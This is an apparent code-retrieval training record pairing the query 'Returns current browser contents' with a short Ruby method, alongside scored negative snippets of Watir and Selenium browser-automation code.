get_zalenium_browser(scenario)\nend", "def browser(*args)\n b = Runtime.instance.set_if(self, :browser) do\n # Add LL to the arguments for the browser\n LapisLazuli::Browser.set_world(self)\n\n # Create & return a new browser object\n brow = LapisLazuli::Browser.new(*args)\n\n metadata = Runtime.instance.get(:metadata)\n if metadata\n metadata.set(\n \"browser\",\n {\n \"name\" => brow.driver.capabilities[:browser_name],\n \"version\" => brow.driver.capabilities[:browser_version] || brow.driver.capabilities[:version],\n \"platform\" => brow.driver.capabilities[:platform_name] || brow.driver.capabilities[:platform],\n }\n )\n end\n\n sessionid = brow.driver.capabilities[\"webdriver.remote.sessionid\"]\n\n if !sessionid.nil?\n metadata.set(\"sessionid\", sessionid)\n end\n\n brow\n end\n\n if not b.is_open?\n b.start\n end\n\n return b\n end", "def url\n @browser.url\n end", "def url\n @browser.current_url\n end", "def firefox\n @web_browser.firefox\n end", "def firefox\r\n @web_browser.firefox\r\n end", "def setup_browser\n @browser = Browser.new(self)\n end", "def page\n @page ||= Page.new(browser)\n end", "def browser_info\n # Fetch the UserAgent string using javascript navigator object\n ua_string = browser.execute_script('return navigator.userAgent')\n @parsed_ua = UserAgent.parse(ua_string)\n end", "def use_current_browser(how = :title, what = /.*/)\n @web_browser = WebBrowser.attach_browser(how, what)\n end", "def browser_contents\n browser.contents\n end", "def title\n @browser.title\n end", "def title\n browser.title\n end", "def driver\n @driver ||= page.driver.browser\n end", "def title\n @browser.title\n end", "def set_browser(app = :chrome, *args)\n @browser = Watir::Browser.new(app, *args)\n Testable.browser = @browser\n end", "def browser_version\n @browser_version ||= begin\n self.send( \"resolve_version_for_#{self.browser_name}\".to_sym )\n end\n end", "def browser_version\n ENV['BROWSER_VERSION']\n end", "def new_browser\n if ENV[\"LOCAL_OR_HEROKU\"] then\n Watir::Browser.new :firefox\n else\n options = Selenium::WebDriver::Chrome::Options.new\n # make a directory for chrome if it doesn't already exist\n chrome_dir = File.join Dir.pwd, %w(tmp chrome)\n FileUtils.mkdir_p chrome_dir\n user_data_dir = \"--user-data-dir=#{chrome_dir}\"\n # add the option for user-data-dir\n options.add_argument user_data_dir\n\n # let Selenium know where to look for chrome if we have a hint from\n # heroku. chromedriver-helper & chrome seem to work out of the box on osx,\n # but not on heroku.\n if chrome_bin = ENV[\"GOOGLE_CHROME_BIN\"]\n options.add_argument \"no-sandbox\"\n options.binary = chrome_bin\n # give a hint to here too\n Selenium::WebDriver::Chrome.driver_path = \\\n \"/app/vendor/bundle/bin/chromedriver\"\n end\n\n # headless!\n # keyboard entry wont work until chromedriver 2.31 is released\n options.add_argument \"window-size=1200x600\"\n options.add_argument \"headless\"\n options.add_argument \"disable-gpu\"\n\n # make the browser\n Watir::Browser.new :chrome, options: options\n end\n end", "def setup_browser(url)\n browser = Watir::Browser.new :firefox, headless: true\n browser.goto url\n return browser\nend", "def initialize(default_browser)\n super()\n self.browser = default_browser\n end", "def open_browser_chrome\n\t\trequire 'watir-webdriver'\n\t\t@browser = Watir::Browser.new :chrome\n\tend", "def browser_family\n browser_parser.family.browser\n end", "def remote_browser\n return Ladon::Watir::Browser.new_remote(url: @grid_url,\n type: @browser_type,\n platform: @platform)\n end", "def get_browser_command_line\n {\n method: \"Browser.getBrowserCommandLine\"\n }\n end", "def homepage\n Bbc_homepage.new(@browser)\n end", "def initialize(browser = :chrome)\n @driver = Selenium::WebDriver.for browser\n end", "def open_browser(base_url = nil, options = {})\n base_url ||= $ITEST2_PROJECT_BASE_URL\n base_url ||= $BASE_URL\n raise \"base_url must be set\" if base_url.nil?\n\n default_options = {:speed => \"fast\",\n :visible => true,\n :highlight_colour => 'yellow',\n :close_others => true,\n :start_new => false, \t# start a new browser always\n :go => true}\n\n options = default_options.merge options\n options[:firefox] = true if \"Firefox\" == $ITEST2_BROWSER || \"Firefox\" == $BROWSER\n ($ITEST2_HIDE_BROWSER) ? $HIDE_IE = true : $HIDE_IE = false\n\n if base_url =~ /^file:/\n uri_base = base_url\n else\n uri = URI.parse(base_url)\n uri_base = \"#{uri.scheme}://#{uri.host}:#{uri.port}\"\n end\n\n if options[:start_new]\n @web_browser = WebBrowser.new(uri_base, nil, options)\n else\n @web_browser = WebBrowser.reuse(uri_base, options) # Reuse existing browser\n end\n\n if base_url =~ /^file:/\n goto_url(base_url) # for files, no base url\n else\n (uri.path.length == 0) ? begin_at(\"/\") : begin_at(uri.path) if options[:go]\n end\n\n return @web_browser\n end", "def get_url(browser_handle)\n browser_handle.url\nend", "def get_browser\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.open_timeout = TIMEOUT # seconds – default is 30\n browser = Watir::Browser.new DRIVER.to_sym, :http_client => client\n return browser\nend", "def openBrowser(step)\n browserName = @envConfig['Browser']\n browserDriver = \"#{$ROOT}/../webDriver/#{browserName}driver.exe\"\n case browserName\n when 'chrome'\n Selenium::WebDriver::Chrome.driver_path = browserDriver\n # @browser = Watir::Browser.new(:chrome, :switches => %w[--start-maximized])\n @browser = Watir::Browser.new(:chrome)\n when 'firefox'\n Selenium::WebDriver::Firefox.driver_path = browserDriver\n # @browser = Watir::Browser.new(:firefox, :switches => %w[--start-maximized])\n @browser = Watir::Browser.new(:firefox)\n end\n Watir.default_timeout = @envConfig['DefaultWaitTime'].to_s.to_i\n pageObject = PageObject.new\n @actionObjects = pageObject.initializePageObject(@browser, @pageObjects)\n end", "def browser_name\n return @parsed_ua.browser ? @parsed_ua.browser : 'Unknown'\n end", "def browser_type\n if $TESTWISE_BROWSER then\n $TESTWISE_BROWSER.downcase.to_sym\n elsif ENV[\"BROWSER\"]\n ENV[\"BROWSER\"].downcase.to_sym\n else\n RUBY_PLATFORM =~ /mingw/ ? \"ie\".to_sym : \"firefox\".to_sym\n end\n end", "def get_title(browser_handle)\n browser_handle.title\nend", "def use_current_watir_browser(how = :title, what = /.*/)\r\n @web_browser = WebBrowser.attach_browser(how, what)\r\n end", "def initialize_browser\n puts \"\\n>Initializing Firefox browser\"\n @browser = Watir::Browser.new :firefox\n @browser.send_keys :f11\n @homepage = Homepage.new(@browser)\n return @homepage\nend", "def browser\n (ENV['BROWSER'] ||= 'chrome').to_sym\nend", "def browser(ua=nil)\n (ua and @version_pattern) ? \"#{name} #{version(ua)}\" : name\n end", "def initialize_browser\n if @browser\n @leave_open = true\n else\n @browser = Browser.create(config)\n end\n @browser.goto origin\n bring_to_front_if_appropriate\n @leave_open ||= config[:leave_open]\n end", "def abrirNavegador()\n\tbrowser = Watir::Browser.new :firefox\n\n\tbrowser\nend", "def open_browser_by_watir(options = {})\r\n\r\n begin\r\n support_unicode\r\n rescue => e\r\n puts \"Unicode may not work in IE, #{e}\"\r\n end\r\n\r\n\t\t\tif options && options.class == String\r\n\t\t\t options = {:base_url => options.to_s }\r\n\t\t\tend\r\n\t\t\t \r\n\t\t\tif options && options.class == Hash && options[:base_url]\r\n \tbase_url ||= options[:base_url]\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\tbase_url = options[:base_url] rescue nil \r\n\t\t\tbase_url ||= $TESTWISE_PROJECT_BASE_URL\t\t\t\r\n base_url ||= $BASE_URL\r\n \r\n raise \"base_url must be set\" if base_url.nil?\r\n\r\n default_options = {:speed => \"fast\",\r\n :visible => true,\r\n :highlight_colour => 'yellow',\r\n :close_others => true,\r\n :start_new => false, # start a new browser always\r\n :go => true}\r\n\r\n options = default_options.merge options\r\n ($TESTWISE_HIDE_BROWSER) ? $HIDE_IE = true : $HIDE_IE = false\r\n\r\n if base_url =~ /^file:/\r\n uri_base = base_url\r\n else\r\n uri = URI.parse(base_url)\r\n uri_base = \"#{uri.scheme}://#{uri.host}:#{uri.port}\"\r\n end\r\n\r\n if options[:start_new]\r\n @web_browser = WebBrowser.new(uri_base, nil, options)\r\n else\r\n @web_browser = WebBrowser.reuse(uri_base, options) # Reuse existing browser\r\n end\r\n\r\n if base_url =~ /^file:/\r\n goto_url(base_url) # for files, no base url\r\n else\r\n (uri.path.length == 0) ? begin_at(\"/\") : begin_at(uri.path) if options[:go]\r\n end\r\n\r\n return @web_browser\r\n end", "def firefox\r\n is_firefox? ? @browser : nil;\r\n end", "def browser_type\n\t if $TESTWISE_BROWSER then\n\t $TESTWISE_BROWSER.downcase.to_sym\n\t elsif ENV[\"BROWSER\"]\n\t ENV[\"BROWSER\"].downcase.to_sym\n\t else\n\t RUBY_PLATFORM =~ /mingw/ ? \"ie\".to_sym : \"firefox\".to_sym\n\t end\n\tend", "def browser(params, &proc)\n raise \"Session::browser requires a code block to be executed\" unless proc\n\n destination = create_destination(params)\n b = nil\n if params[:selector]\n b = create_browser(destination, params[:selector])\n else\n b = create_browser(destination)\n end\n\n if proc\n begin\n proc.call(b)\n ensure\n b.close\n b = nil\n end\n end\n b\n end", "def actual_url\n @browser.current_url\n end", "def browser_id\n browser_name + browser_version.gsub( /\\./, '' )\n end", "def plugin_name\n 'browser'\n end", "def name\n @driver.browser_type\n end", "def browser_type\n if $TESTWISE_BROWSER\n $TESTWISE_BROWSER.downcase.to_sym\n elsif ENV[\"BROWSER\"]\n ENV[\"BROWSER\"].downcase.to_sym\n else\n \"chrome\".to_sym\n end\n end", "def browser_cmdline\n browser_env.each do |p|\n Launchy.log \"#{self.class.name} : possibility from BROWSER environment variable : #{p}\"\n end\n app_list.each do |p|\n Launchy.log \"#{self.class.name} : possibility from app_list : #{p}\"\n end\n\n possibilities = (browser_env + app_list).flatten\n\n if browser = possibilities.shift then\n Launchy.log \"#{self.class.name} : Using browser value '#{browser}'\"\n return browser\n end\n raise Launchy::CommandNotFoundError, \"Unable to find a browser command. If this is unexpected, #{Launchy.bug_report_message}\"\n end", "def open_browser_ie \n\t\trequire 'watir-webdriver'\n\t\t@browser = Watir::Browser.new :ie\n\tend", "def browser()\n node = Nodes::Browser.new()\n node.feature = @value\n expect(:feature)\n\n if current(:version_vector)\n node.version_vector = VersionVector.new(@value)\n accept(:version_vector)\n else\n node.version_vector = VersionVector.new(nil)\n end\n\n node\n end", "def get_local_browser(scenario)\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.read_timeout = TIMEOUT\n browser = Watir::Browser.new DRIVER.to_sym, :http_client => client\n return browser\nend", "def chrome_browser(*opts)\n options = Selenium::WebDriver::Chrome::Options.new\n opts.each { |n| options.add_argument(n) }\n driver = Selenium::WebDriver.for :chrome, detach: false, options: options\n Watir::Browser.new(driver)\n end", "def browser_name\r\n @browser_name ||= begin\r\n\r\n ua = request.env['HTTP_USER_AGENT'].downcase\r\n \r\n if ua.index('msie') && !ua.index('opera') && !ua.index('webtv')\r\n 'ie'+ua[ua.index('msie')+5].chr\r\n elsif ua.index('gecko/') \r\n 'gecko'\r\n elsif ua.index('opera')\r\n 'opera'\r\n elsif ua.index('konqueror') \r\n 'konqueror'\r\n elsif ua.index('applewebkit/')\r\n 'safari'\r\n elsif ua.index('mozilla/')\r\n 'gecko'\r\n end\r\n \r\n end\r\n end", "def ie\n @web_browser.ie\n end", "def use_managed_browser\n return @use_managed_browser\n end", "def persistent_browser=(value)\n @persistent_browser = value\n end", "def set_browser\n @browser = @device.browsers.find_by!(id: params[:id]) if @device\n end", "def remote_browser(host, opts = {})\n remote_browser = JsTestDriver::RemoteBrowser.new(host, opts)\n remote_browsers << remote_browser\n browser remote_browser_file_name(remote_browser.name)\n end", "def initialize(browser, args={})\n @args = args\n @browser = browser\n end", "def browser_parser\n @browser_parser ||= DoubleAgent.browser_parser(user_agent)\n end", "def get_browser_detail(key)\n bd = BeEF::Extension::Initialization::Models::BrowserDetails\n (print_error \"@session_id is invalid\";return) if not BeEF::Filters.is_valid_hook_session_id?(@session_id)\n bd.get(@session_id, key)\n end", "def open_browser(base_url, options = {})\n default_options = {:resynchronize => false, :firefox => false } \n options = default_options.merge(options)\n options[:firefox] ||= (ENV['LOADWISE_PREVIEW'] || $LOADWISE_PREVIEW)\n RWebSpec::WebBrowser.new(base_url, nil, options)\n end", "def browser_version\n browser_parser.version(user_agent)\n end", "def url\n\n begin\n url = @driver.current_url\n\n rescue Exception => e\n @@logger.an_event.error \"get current url : #{e.message}\"\n raise Errors::Error.new(BROWSER_NOT_FOUND_URL, :values => {:browser => name}, :error => e)\n\n else\n @@logger.an_event.debug \"get current url : #{url}\"\n url\n end\n end", "def get_browser_detail(key)\n bd = BeEF::Core::Models::BrowserDetails\n (print_error \"@session_id is invalid\";return) if not BeEF::Filters.is_valid_hook_session_id?(@session_id)\n bd.get(@session_id, key)\n end", "def initialize(browser = nil)\n @browser = browser\n # @id = start\n end", "def browser_name\n env_browser = ENV['BROWSER'] || ENV['BROWSERNAME'] || ENV['BROWSER_NAME'] || ENV['DEVICE']\n env_browser.nil_or_empty? ? config['default_browser'].to_sym : env_browser.downcase.to_sym\n end", "def browser_name\n (ENV['BROWSER'] ||= 'chrome').downcase.to_sym\nend", "def env_browser_name\n (ENV['BROWSER'] ||= 'firefox')\nend", "def get_browser_detail(key)\n bd = BeEF::Extension::Initialization::Models::BrowserDetails\n raise WEBrick::HTTPStatus::BadRequest, \"@session_id is invalid\" if not BeEF::Filters.is_valid_hook_session_id?(@session_id)\n bd.get(@session_id, key)\n end", "def ie\r\n @web_browser.ie\r\n end", "def build_browser\n self.handle_flag(BROWSER_FLAG)\n self.handle_flag(GRID_URL_FLAG)\n self.handle_flag(TIMEOUT_FLAG)\n\n return local_browser if @grid_url.nil?\n\n self.handle_flag(PLATFORM_FLAG)\n return remote_browser\n end", "def is_browser? browser\n Browser.is_browser? request.user_agent, browser\n end", "def initialize( config, logger )\n @config = config\n @logger = logger\n\n @logger.debug \"Requested browser config: #{@config.get :global, :browser }\"\n\n type=@config.get :global, :browser, :type\n browser=@config.get :global, :browser, :browser\n port=@config.get :global, :browser, :port\n url=@config.get_default false, :global, :browser, :url\n extra_capabilities=@config.get_default false, :global, :browser, :extras\n if ! extra_capabilities\n extra_capabilities = Hash.new\n end\n\n if browser =~ %r{^\\s*ie\\s*$} or browser =~ %r{^\\s*internet\\s*_?\\s*explorer\\s*$}\n browser = 'internet explorer'\n end\n\n @logger.debug \"Launching some browser; #{type}, #{port}, #{browser}\"\n\n if type == 'remote'\n @logger.info \"Launching remote browser #{browser} on port #{port}\"\n capabilities = Selenium::WebDriver::Remote::Capabilities.new(\n :browser_name => browser,\n :javascript_enabled=>true,\n :css_selectors_enabled=>true,\n :takes_screenshot=>true,\n )\n # Load in any other stuff the user asked for\n @logger.debug \"Requested extra capabilities: #{extra_capabilities.inspect}\"\n extra_capabilities.each do |key, value|\n @logger.debug \"Adding capability #{key} with value #{value}\"\n capabilities[key] = value\n end\n\n if url\n @logger.debug \"Launching with custom url #{url}\"\n else\n url = \"http://127.0.0.1:#{port}/wd/hub\"\n end\n\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.timeout = config.get_default( 600, :global, :browser, :timeout )\n\n @browser = Watir::Browser.new(:remote, :url => url, :desired_capabilities => capabilities, :http_client => client)\n else\n @logger.info \"Launching local browser #{browser}\"\n @browser = Watir::Browser.new browser\n end\n end", "def browser_caps(browser,browser_options)\n target = (browser.to_sym if ENV['BROWSER'].nil? or ENV['browser'].empty?) || (ENV['BROWSER'].to_sym)\n browser,version,platform,device = extract_values_from(target)\n options = {}\n options.merge! browser_options\n caps = capabilities(browser,version,platform,device)\n options[:url] = url if url\n if options.include? :url\n browser = :remote\n options[:desired_capabilities] = caps\n end\n options[:http_client] = http_client if persistent_http or options.delete(:persistent_http)\n return browser,options\n end", "def initialize_browser\n client = Selenium::WebDriver::Remote::Http::Default.new\n case ENV['browser']\n when 'firefox'\n puts \"\\n>Initializing Firefox browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/geckodriver0.13'\n @browser = Selenium::WebDriver.for :firefox, http_client: client, driver_path: full_path\n when 'chrome'\n puts \"\\n>Initializing Chrome browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/chromedriver2.27'\n @browser = Selenium::WebDriver.for :chrome, http_client: client, driver_path: full_path\n when 'safari'\n puts \"\\n>Initializing Safari browser\"\n @browser = Selenium::WebDriver.for :safari, http_client: client\n else\n @browser = Selenium::WebDriver.for :firefox, http_client: client\n end\n\n @browser.manage.timeouts.page_load = 10\n return @browser\nend", "def initialize(browser = :chrome, *args)\n @capabilities = browser.is_a?(Capabilities) ? browser : Capabilities.new(browser, *args)\n @driver = browser.is_a?(Selenium::WebDriver::Driver) ? browser : Selenium::WebDriver.for(*@capabilities.to_args)\n\n @after_hooks = AfterHooks.new(self)\n @closed = false\n @default_context = true\n end" ]
[ "0.8857251", "0.85572404", "0.8423291", "0.8390459", "0.8097408", "0.7919255", "0.7904366", "0.77523535", "0.7618304", "0.737277", "0.7299733", "0.7289403", "0.7288935", "0.72253805", "0.72228724", "0.7216117", "0.7121903", "0.7068331", "0.70648044", "0.7026999", "0.7024905", "0.7024411", "0.70135427", "0.70027167", "0.6971356", "0.69644517", "0.693592", "0.6934529", "0.6921122", "0.6874978", "0.68718016", "0.6862327", "0.6862304", "0.682901", "0.6802557", "0.6793217", "0.6785381", "0.669432", "0.6682835", "0.6676674", "0.66530305", "0.6645715", "0.6640359", "0.66077125", "0.65602463", "0.65482634", "0.65450215", "0.6533575", "0.6488521", "0.6486596", "0.6482903", "0.64781183", "0.64682084", "0.6445328", "0.64375645", "0.643168", "0.6418808", "0.6418398", "0.6411649", "0.6403278", "0.6394313", "0.6387695", "0.63800406", "0.63770056", "0.636776", "0.63600045", "0.6358507", "0.63463366", "0.6330591", "0.6315729", "0.6303181", "0.6280673", "0.6268495", "0.6264102", "0.62498546", "0.62450516", "0.62393945", "0.6236144", "0.6228705", "0.62240994", "0.62199986", "0.621167", "0.6198291", "0.61856174", "0.61743695", "0.61731875", "0.614368", "0.6127962", "0.6123787", "0.61208427", "0.6120128", "0.61195034", "0.61144316", "0.61129725", "0.6092897", "0.6073271", "0.60645694", "0.606049", "0.6058597", "0.6014969" ]
0.8708791
1
Returns current browser contents (used by HTMLAnalysis)
def browser_contents browser.contents end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def html\n @browser.html()\n end", "def page_source\n @web_browser.page_source\n end", "def page_source\r\n @web_browser.page_source\r\n end", "def page_source\r\n @browser.page_source\r\n end", "def page_text\n @web_browser.text\n end", "def page_text\r\n @web_browser.text\r\n end", "def html\n driver.getPageSource\n end", "def html\n @driver.page_source\n end", "def body\n begin\n\n src = \"\"\n src = @driver.body\n\n rescue Exception => e\n @@logger.an_event.error \"browser get html page : #{e.message}\"\n raise Errors::Error.new(BROWSER_NOT_FOUND_BODY, :values => {:browser => name}, :error => e)\n\n else\n @@logger.an_event.debug \"browser get html page\"\n\n end\n\n begin\n\n body = Nokogiri::HTML(src)\n\n rescue Exception => e\n @@logger.an_event.error \"browser parse html page : #{e.message}\"\n raise Errors::Error.new(BROWSER_NOT_FOUND_BODY, :values => {:browser => name}, :error => e)\n\n else\n\n @@logger.an_event.debug \"browser parse html page\"\n body\n\n end\n end", "def extract\n @browser.visit @url\n Nokogiri::HTML(@browser.html)\n end", "def get_contents_for(path)\n out = get_path(path)\n out.css(\"#content\").inner_html\n end", "def browser\n BrowserInst.browser\n end", "def browser\n BrowserInst.browser\n end", "def browser\r\n @web_browser\r\n end", "def browser\n @web_browser\n end", "def CurrentPage\r\n\r\n puts \"I'm now on \" + $browser.url\r\n puts $newline\r\n\r\nend", "def browser\n @browser\n end", "def url\n @browser.current_url\n end", "def page_source\n driver.page_source\n end", "def source\n current_frame.getWebResponse.getContentAsString\n end", "def text\r\n @driver.at_css('body').text\r\n end", "def contents\n rendered_contents\n end", "def html()\r\n $jssh_socket.send(\"var htmlelem = #{DOCUMENT_VAR}.getElementsByTagName('html')[0]; htmlelem.innerHTML;\\n\", 0)\r\n #$jssh_socket.send(\"#{BODY_VAR}.innerHTML;\\n\", 0)\r\n result = read_socket()\r\n return \"<html>\" + result + \"</html>\"\r\n end", "def html\n `$q(this.__native__.innerHTML)`\n end", "def get_content\n send_get_content(url)\n end", "def body_as_text\n page.driver.html.text\n end", "def url\n @browser.url\n end", "def browser_info\n # Fetch the UserAgent string using javascript navigator object\n ua_string = browser.execute_script('return navigator.userAgent')\n @parsed_ua = UserAgent.parse(ua_string)\n end", "def url\n @browser.url\n end", "def get_html\n print \"Getting doc...\"\n if File.size?(@cache)\n html = File.read(@cache)\n else\n html = open(URL).read\n IO.write(@cache, html)\n end\n puts \"done.\"\n html\n end", "def persistent_browser\n return @persistent_browser\n end", "def grab_html\n\t\t@raw_html = HTTParty.get(@url)\n\t\t@soft_html = Nokogiri::HTML(@raw_html.body)\n\tend", "def get_html_contents(url)\n\turl_string=\"\"\n\t# Open page and store contents\n\topen(url) { |data| \n\t\turl_string = data.read\n\t}\n\n\t# Remove \"not to be confused with\" links\n\thatnote_regex = /<div class=\"hatnote\">.*?<\\/div>/m\n\thtml_string = url_string.gsub(hatnote_regex,\"\")\n\n\treturn html_string\nend", "def load_page\n @page = Nokogiri::HTML(@browser.html)\n end", "def html()\n return @driver.get_sc_core_query_element_html(@handle, @index)\n end", "def get\n @contents\n end", "def html\r\n # use body.html instead?\r\n @driver.at_css('html').to_html\r\n end", "def get_page()\n @page = Nokogiri::HTML(open(@url).read)\n end", "def html_source\n @page_source.page_source\n end", "def inner_html\n `#@native.innerHTML`\n end", "def content\n return gleaning.content if gleaning&.content_ready?\n return mercury_result.content if mercury_result&.content_ready?\n end", "def content\n function = <<~JAVASCRIPT\n () => {\n let retVal = '';\n if (document.doctype)\n retVal = new XMLSerializer().serializeToString(document.doctype);\n if (document.documentElement)\n retVal += document.documentElement.outerHTML;\n return retVal;\n }\n JAVASCRIPT\n evaluate_function(function).value\n end", "def get_page_contents()\n JSON.parse( \n @client.api.get(\"#{@client.base_uri.path}/api.php?#{URI.encode_www_form({\n :action => 'query',\n :prop => 'info|revisions',\n :titles => BAN_PAGE,\n :rvprop => 'content',\n :intoken => 'edit',\n :indexpageids => 1,\n :format => 'json',\n :cb => rand(1000000)\n })}\", @headers).body,\n :symbolize_names => true\n )[:query]\n end", "def web_html\n return @web_html\n end", "def body\n evaluate(\"document.documentElement.outerHTML\")\n end", "def get_page(url)\n Hpricot.buffer_size = 262144\n Hpricot(open(url, {\"User-Agent\" => \"Mozilla/5.0 Firefox/3.5\"}))\n end", "def show\n json_response(@browser)\n end", "def switch_to_default_content\n @browser.switch_to.default_content\n end", "def actual_url\n @browser.current_url\n end", "def get_url path\n\t\t\t\t@browser.get path, {}, {'REQUEST_URI' => ['http://example.org', path].join('/')}\n\t\t\t\tresponse = @browser.last_response\n\t\t\t\tresponse.body\n\t\t\tend", "def browser\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n rv = BrowserFactory.build(session: session, url_options: url_options)\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"rv = #{rv}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n rv\n end", "def html\n @session.body\n end", "def contents()\n html = Nokogiri::HTML(@markdown_document.to_html())\n\n # Fixup refs to other markdown documents\n html.css(\"a\").each do |anchor|\n anchor[\"href\"] = anchor[\"href\"].sub(%r{\\.md$}, \".html\")\n end\n\n # Since we transform device-specific $device/README.md pages into\n # discrete $device.html, we need to fixup cross-linking into its namespace\n # This could be generalized some more, to be fixed once we have other internal links to mismatched README.md/index.html locations.\n if File.dirname(relative_output) == \"devices\"\n html.css(\"a\").each do |anchor|\n if anchor[\"href\"].match(%r{\\.\\./[^\\.]+$})\n anchor[\"href\"] = anchor[\"href\"].sub(%r{\\.\\./}, \"devices/\") + \".html\"\n end\n end\n end\n\n # Since Nokogiri produces a complete document from our fragment, we\n # have to pick only what's in the body; so strip the body added tags and higher-up tags.\n html\n .at_css(\"body\").to_s()\n .sub(%r{^<body>}, \"\").sub(%r{</body>$}, \"\")\n end", "def firefox\r\n @web_browser.firefox\r\n end", "def content\n @content ||= case\n when @file\n @file.read\n when @text\n @text\n when @url\n raise URI::InvalidURIError, @url unless @url =~ URI::regexp\n response = open(@url)\n html = response.read\n html.encode(\"UTF-16\", \"UTF-8\", :invalid => :replace, :replace => \"\").encode(\"UTF-8\", \"UTF-16\")\n end\n end", "def html\n session.html\n end", "def page_source\n bridge.page_source\n end", "def content\n return @content if @content\n content, id = self.get_page_content\n content = master.render(content)\n Ruhoh::Converter.convert(content, id)\n end", "def firefox\n @web_browser.firefox\n end", "def content\n page.formatted_data\n end", "def contents\n read\n end", "def content\n @content ||= @client.get(@link)\n end", "def contents\n self.content\n end", "def html\n return @html if defined? @html\n\n @html = Henkei.read :html, data\n end", "def text\n xpath(\"/html/body\").inner_text\n end", "def set_browser_document\r\n # Get the window in variable WINDOW_VAR.\r\n # Get the browser in variable BROWSER_VAR.\r\n jssh_command = \"var #{WINDOW_VAR} = getWindows()[#{@@current_window}];\"\r\n jssh_command += \" var #{BROWSER_VAR} = #{WINDOW_VAR}.getBrowser();\"\r\n # Get the document and body in variable DOCUMENT_VAR and BODY_VAR respectively.\r\n jssh_command += \"var #{DOCUMENT_VAR} = #{BROWSER_VAR}.contentDocument;\"\r\n jssh_command += \"var #{BODY_VAR} = #{DOCUMENT_VAR}.body;\"\r\n\r\n $jssh_socket.send(\"#{jssh_command}\\n\", 0)\r\n read_socket()\r\n\r\n # Get window and window's parent title and url\r\n $jssh_socket.send(\"#{DOCUMENT_VAR}.title;\\n\", 0)\r\n @window_title = read_socket()\r\n $jssh_socket.send(\"#{DOCUMENT_VAR}.URL;\\n\", 0)\r\n @window_url = read_socket()\r\n end", "def html_contents\n layout_contents\n end", "def formatted_browser\r\n return \"*#{@current_browser}\"\r\n end", "def html\n File.read(@folder + \"/data/#{@what}.html\")\n end", "def website_content(url)\r\n # Give the content of the website on the given url\r\n require 'restclient'\r\n Nokogiri::HTML(RestClient.get(url))\r\nend", "def grab_html\n\t\t@unbendable_html = HTTParty.get('http://finance.yahoo.com/q?s=TSLA')\n\tend", "def body\n @parsed_page.body\n end", "def get_page\n\tpage = Nokogiri::HTML(open(\"https://coinmarketcap.com/all/views/all/\"))\n\treturn page\nend", "def get_page_content(page_title)\n response = mediawiki('get_wikitext', page_title)\n case response&.status\n when 200\n response.body.force_encoding('UTF-8')\n when 404\n ''\n end\n end", "def extract_content\n resp = \"\"\n begin\n resp = Nokogiri::HTML(open(url))\n # do not raise Exception => e\n # https://robots.thoughtbot.com/rescue-standarderror-not-exception\n rescue SocketError, Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Net::HTTPBadResponse, Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n raise e.message\n end\n resp\n end", "def cururl\n Chrome.windows[1].get.tabs[Chrome.windows[1].get.active_tab_index.get].get.URL.get.strip\nend", "def getIE()\n # allows the calling program direct acces to ie \n return @ie\n end", "def title\n @browser.title\n end", "def content\n return @content\n end", "def content\n return @content\n end", "def content\n return @content\n end", "def content\n return @content\n end", "def content\n return @content\n end", "def content\n return @content\n end", "def browser\n if @browser.nil?\n # puts '[BrowserOperator] Create Internet Explorer'\n @browser = Watir::Browser.new\n @browser.activate\n end\n @browser\n end", "def content\n h @content\n end", "def browser\n Praline::browser\n end", "def html\n self[\"html\"][0].get_outer_html\n end", "def page\n # We need duplicated JSON parse since standart\n # chromedriver giving an error here if the page is too large\n page = execute_script(File.read(\"#{HOME}/scripts/page.js\"))\n JSON.parse(page, max_nesting: false)['result']\n end", "def html\n @session.html\n end", "def html\n @html ||= process_html!\n end", "def fetch\n\t\tbegin\n\t\t\tresponse = RestClient.get(@url,:user_agent => @user_agent.get_user_agent)\n\t\t\tdoc = Nokogiri::HTML(response)\n\t\t\treturn doc\n\t\trescue Exception => e\n\t\t\tLogWriter.error(e)\n\t\t\tthrow e\n\t\tend\n\tend", "def retrieve_content(url)\n begin\n m = Mechanize.new { |agent|\n agent.user_agent_alias = 'Mac Safari'\n }\n page = m.get(url) \n rescue => e \n puts \"[Error] retrieving #{url} \"\n puts e.message\n puts e.backtrace\n # $ACCUMULATED_DELAY += 1\n #puts \"[WARNING] Compulsory put programme into sleep due to page retrieval error. Back to work in #{$ACCUMULATED_DELAY} minute(s)\"\n # sleep $ACCUMULATED_DELAY\n \n # just return an empty Mechanize::Page\n page = nil\n ensure\n #$TOTAL_PAGE_REQUEST += 1\n #puts page.inspect\n #puts page.content\n return page\n end\nend", "def text()\r\n $jssh_socket.send(\"#{BODY_VAR}.textContent;\\n\", 0)\r\n return read_socket().strip\r\n end", "def local_browser\n return Ladon::Watir::Browser.new_local(type: @browser_type)\n end", "def switch_to_main_content\n $driver.switch_to.default_content\nend", "def content\n ERB.new(load, nil, '-').result(binding)\n end", "def title\n @browser.title\n end", "def ie\n @web_browser.ie\n end", "def use_current_browser(how = :title, what = /.*/)\n @web_browser = WebBrowser.attach_browser(how, what)\n end" ]
